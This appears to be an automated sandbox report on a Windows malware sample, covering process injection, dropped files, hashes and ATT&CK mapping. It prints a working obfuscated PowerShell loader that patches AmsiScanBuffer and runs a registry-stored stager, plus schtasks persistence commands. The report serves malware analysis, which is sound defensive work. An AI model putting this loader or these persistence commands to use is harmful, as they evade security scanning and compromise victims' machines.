Token: SeManageVolumePrivilege	2240	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

3464 Explorer.EXE

pid	process
3464	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

R0X-Built.exe$srr-powershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 2488 wrote to memory of 2448	2488	R0X-Built.exe	schtasks.exe
PID 2488 wrote to memory of 2448	2488	R0X-Built.exe	schtasks.exe
PID 2488 wrote to memory of 2448	2488	R0X-Built.exe	schtasks.exe
PID 2488 wrote to memory of 388	2488	R0X-Built.exe	$srr-powershell.exe
PID 2488 wrote to memory of 388	2488	R0X-Built.exe	$srr-powershell.exe
PID 2488 wrote to memory of 388	2488	R0X-Built.exe	$srr-powershell.exe
PID 2488 wrote to memory of 532	2488	R0X-Built.exe	install.exe
PID 2488 wrote to memory of 532	2488	R0X-Built.exe	install.exe
PID 2488 wrote to memory of 532	2488	R0X-Built.exe	install.exe
PID 2488 wrote to memory of 4648	2488	R0X-Built.exe	SCHTASKS.exe
PID 2488 wrote to memory of 4648	2488	R0X-Built.exe	SCHTASKS.exe
PID 2488 wrote to memory of 4648	2488	R0X-Built.exe	SCHTASKS.exe
PID 388 wrote to memory of 3408	388	$srr-powershell.exe	schtasks.exe
PID 388 wrote to memory of 3408	388	$srr-powershell.exe	schtasks.exe
PID 388 wrote to memory of 3408	388	$srr-powershell.exe	schtasks.exe
PID 4364 wrote to memory of 4672	4364	powershell.EXE	dllhost.exe
PID 4364 wrote to memory of 4672	4364	powershell.EXE	dllhost.exe
PID 4364 wrote to memory of 4672	4364	powershell.EXE	dllhost.exe
PID 4364 wrote to memory of 4672	4364	powershell.EXE	dllhost.exe
PID 4364 wrote to memory of 4672	4364	powershell.EXE	dllhost.exe
PID 4364 wrote to memory of 4672	4364	powershell.EXE	dllhost.exe
PID 4364 wrote to memory of 4672	4364	powershell.EXE	dllhost.exe
PID 4364 wrote to memory of 4672	4364	powershell.EXE	dllhost.exe
PID 4672 wrote to memory of 616	4672	dllhost.exe	winlogon.exe
PID 4672 wrote to memory of 672	4672	dllhost.exe	lsass.exe
PID 4672 wrote to memory of 960	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 384	4672	dllhost.exe	dwm.exe
PID 4672 wrote to memory of 748	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 924	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1060	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1068	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1096	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1212	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1244	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1272	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1388	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1400	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1448	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1464	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1520	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1616	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1660	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1716	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1776	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1792	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1884	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1896	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1960	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1980	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 1668	4672	dllhost.exe	spoolsv.exe
PID 4672 wrote to memory of 2124	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 2240	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 2288	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 2412	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 2424	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 2608	4672	dllhost.exe	sihost.exe
PID 4672 wrote to memory of 2640	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 2736	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 2748	4672	dllhost.exe	taskhostw.exe
PID 4672 wrote to memory of 2788	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 2832	4672	dllhost.exe	sysmon.exe
PID 4672 wrote to memory of 2868	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 2888	4672	dllhost.exe	svchost.exe
PID 4672 wrote to memory of 2940	4672	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:384

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{ebda6226-27e0-4ef9-a78a-c00da87155a5}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4672

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1060

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1096

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zuIRpClMAmcb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$mufpoEGkuQCsqC,[Parameter(Position=1)][Type]$uPFUfNuaMR)$rruSeLyayDL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+'d'+'D'+'e'+'l'+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+[Char](101)+'m'+'o'+''+'r'+''+[Char](121)+''+'M'+''+'o'+'d'+[Char](117)+''+'l'+'e',$False).DefineType('MyD'+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+'e'+[Char](84)+'yp'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+'s'+','+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+''+','+''+[Char](83)+'e'+'a'+''+'l'+''+'e'+''+'d'+''+','+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+'a'+[Char](115)+''+'s'+'',[MulticastDelegate]);$rruSeLyayDL.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+',H'+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$mufpoEGkuQCsqC).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+'an'+[Char](97)+''+'g'+'e'+[Char](100)+'');$rruSeLyayDL.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+'o'+''+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+''+[Char](105)+''+'d'+'e'+[Char](66)+''+'y'+''+[Char](83)+'i'+[Char](103)+''+','+'N'+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+''+'o'+''+'t'+',V'+'i'+''+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$uPFUfNuaMR,$mufpoEGkuQCsqC).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+'n'+'a'+'g'+''+'e'+''+[Char](100)+'');Write-Output $rruSeLyayDL.CreateType();}$JHocPIXgFFfoy=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+'r'+''+[Char](111)+''+[Char](115)+'o'+[Char](102)+''+'t'+'.'+[Char](87)+''+'i'+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+'f'+''+[Char](101)+'N'+'a'+''+'t'+''+[Char](105)+''+'v'+'e'+[Char](77)+''+[Char](101)+'t'+'h'+''+[Char](111)+''+[Char](100)+'s');$lsMLwEsxPnyhBu=$JHocPIXgFFfoy.GetMethod(''+[Char](71)+'etPro'+'c'+'A'+[Char](100)+'d'+[Char](114)+'es'+'s'+'',[Reflection.BindingFlags]('Pu'+[Char](98)+''+'l'+'i'+'c'+',S'+[Char](116)+''+'a'+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fQJZOBalpSDsFacSGTM=zuIRpClMAmcb @([String])([IntPtr]);$uKlyEJqMRaWsgFGcSIhtxi=zuIRpClMAmcb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$xDOQzTCVcRR=$JHocPIXgFFfoy.GetMethod('Ge'+'t'+'Mo'+[Char](100)+''+[Char](117)+'l'+'e'+''+[Char](72)+'a'+[Char](110)+'dl'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+''+'l'+'3'+[Char](50)+''+[Char](46)+'dll')));$WfbWNgQTIOhpZv=$lsMLwEsxPnyhBu.Invoke($Null,@([Object]$xDOQzTCVcRR,[Object]('Lo'+[Char](97)+''+'d'+''+'L'+''+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+'A'+'')));$gzyDkDzsktEuzTwbj=$lsMLwEsxPnyhBu.Invoke($Null,@([Object]$xDOQzTCVcRR,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+'alP'+'r'+''+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$lzZaSbn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WfbWNgQTIOhpZv,$fQJZOBalpSDsFacSGTM).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'');$OvzCerSkoDaeppbLP=$lsMLwEsxPnyhBu.Invoke($Null,@([Object]$lzZaSbn,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+[Char](83)+''+'c'+''+'a'+''+'n'+'Bu'+'f'+'f'+[Char](101)+''+[Char](114)+'')));$xmDUWnWINA=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gzyDkDzsktEuzTwbj,$uKlyEJqMRaWsgFGcSIhtxi).Invoke($OvzCerSkoDaeppbLP,[uint32]8,4,[ref]$xmDUWnWINA);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$OvzCerSkoDaeppbLP,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gzyDkDzsktEuzTwbj,$uKlyEJqMRaWsgFGcSIhtxi).Invoke($OvzCerSkoDaeppbLP,[uint32]8,0x20,[ref]$xmDUWnWINA);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+''+'s'+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1400

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1980

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2240

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2788

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2940

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3368

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3464

C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe
"C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2488

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:2448

C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe
"C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:388

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:3408

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
3⤵
- Executes dropped EXE
PID:532

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77R0X-Built.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe'" /sc onlogon /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:4648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3600

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3784

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:3940

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4160

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4684

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3948

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2104

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4324

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1840

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:1588

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2108

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\install.exe
Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe
Filesize
409KB

MD5
a0f5aa5764c4f66eee82f857f9f447b6

SHA1
3c3a780d020cb3eb3088223443fe813abb95dccd

SHA256
43c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3

SHA512
458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_sjffqcp1.rf1.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/384-89-0x00007FF97E770000-0x00007FF97E780000-memory.dmp

Filesize
64KB

Download
memory/384-82-0x000001D5C1C80000-0x000001D5C1CAB000-memory.dmp

Filesize
172KB

Download
memory/384-88-0x000001D5C1C80000-0x000001D5C1CAB000-memory.dmp

Filesize
172KB

Download
memory/388-14-0x00000000744A0000-0x0000000074C50000-memory.dmp

Filesize
7.7MB

Download
memory/388-708-0x00000000744A0000-0x0000000074C50000-memory.dmp

Filesize
7.7MB

Download
memory/388-91-0x00000000072C0000-0x00000000072CA000-memory.dmp

Filesize
40KB

Download
memory/388-13-0x00000000744A0000-0x0000000074C50000-memory.dmp

Filesize
7.7MB

Download
memory/616-56-0x00007FF97E770000-0x00007FF97E780000-memory.dmp

Filesize
64KB

Download
memory/616-48-0x0000028E6E690000-0x0000028E6E6BB000-memory.dmp

Filesize
172KB

Download
memory/616-55-0x0000028E6E690000-0x0000028E6E6BB000-memory.dmp

Filesize
172KB

Download
memory/616-49-0x0000028E6E690000-0x0000028E6E6BB000-memory.dmp

Filesize
172KB

Download
memory/616-47-0x0000028E6E660000-0x0000028E6E685000-memory.dmp

Filesize
148KB

Download
memory/672-60-0x000002C0BE130000-0x000002C0BE15B000-memory.dmp

Filesize
172KB

Download
memory/672-66-0x000002C0BE130000-0x000002C0BE15B000-memory.dmp

Filesize
172KB

Download
memory/672-67-0x00007FF97E770000-0x00007FF97E780000-memory.dmp

Filesize
64KB

Download
memory/748-94-0x00000180ED1D0000-0x00000180ED1FB000-memory.dmp

Filesize
172KB

Download
memory/960-78-0x00007FF97E770000-0x00007FF97E780000-memory.dmp

Filesize
64KB

Download
memory/960-77-0x0000023A095D0000-0x0000023A095FB000-memory.dmp

Filesize
172KB

Download
memory/960-71-0x0000023A095D0000-0x0000023A095FB000-memory.dmp

Filesize
172KB

Download
memory/2488-6-0x00000000055D0000-0x00000000055E2000-memory.dmp

Filesize
72KB

Download
memory/2488-4-0x00000000744A0000-0x0000000074C50000-memory.dmp

Filesize
7.7MB

Download
memory/2488-1-0x0000000000600000-0x000000000066C000-memory.dmp

Filesize
432KB

Download
memory/2488-2-0x0000000005640000-0x0000000005BE4000-memory.dmp

Filesize
5.6MB

Download
memory/2488-3-0x0000000005090000-0x0000000005122000-memory.dmp

Filesize
584KB

Download
memory/2488-5-0x0000000005130000-0x0000000005196000-memory.dmp

Filesize
408KB

Download
memory/2488-7-0x00000000062D0000-0x000000000630C000-memory.dmp

Filesize
240KB

Download
memory/2488-20-0x00000000744A0000-0x0000000074C50000-memory.dmp

Filesize
7.7MB

Download
memory/2488-0-0x00000000744AE000-0x00000000744AF000-memory.dmp

Filesize
4KB

Download
memory/4364-30-0x000002727F6C0000-0x000002727F6E2000-memory.dmp

Filesize
136KB

Download
memory/4364-31-0x000002727FA50000-0x000002727FA7A000-memory.dmp

Filesize
168KB

Download
memory/4364-33-0x00007FF9BD610000-0x00007FF9BD6CE000-memory.dmp

Filesize
760KB

Download
memory/4364-32-0x00007FF9BE6F0000-0x00007FF9BE8E5000-memory.dmp

Filesize
2.0MB

Download
memory/4672-36-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4672-41-0x00007FF9BD610000-0x00007FF9BD6CE000-memory.dmp

Filesize
760KB

Download
memory/4672-39-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4672-35-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4672-44-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4672-37-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4672-34-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4672-40-0x00007FF9BE6F0000-0x00007FF9BE8E5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

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Downloads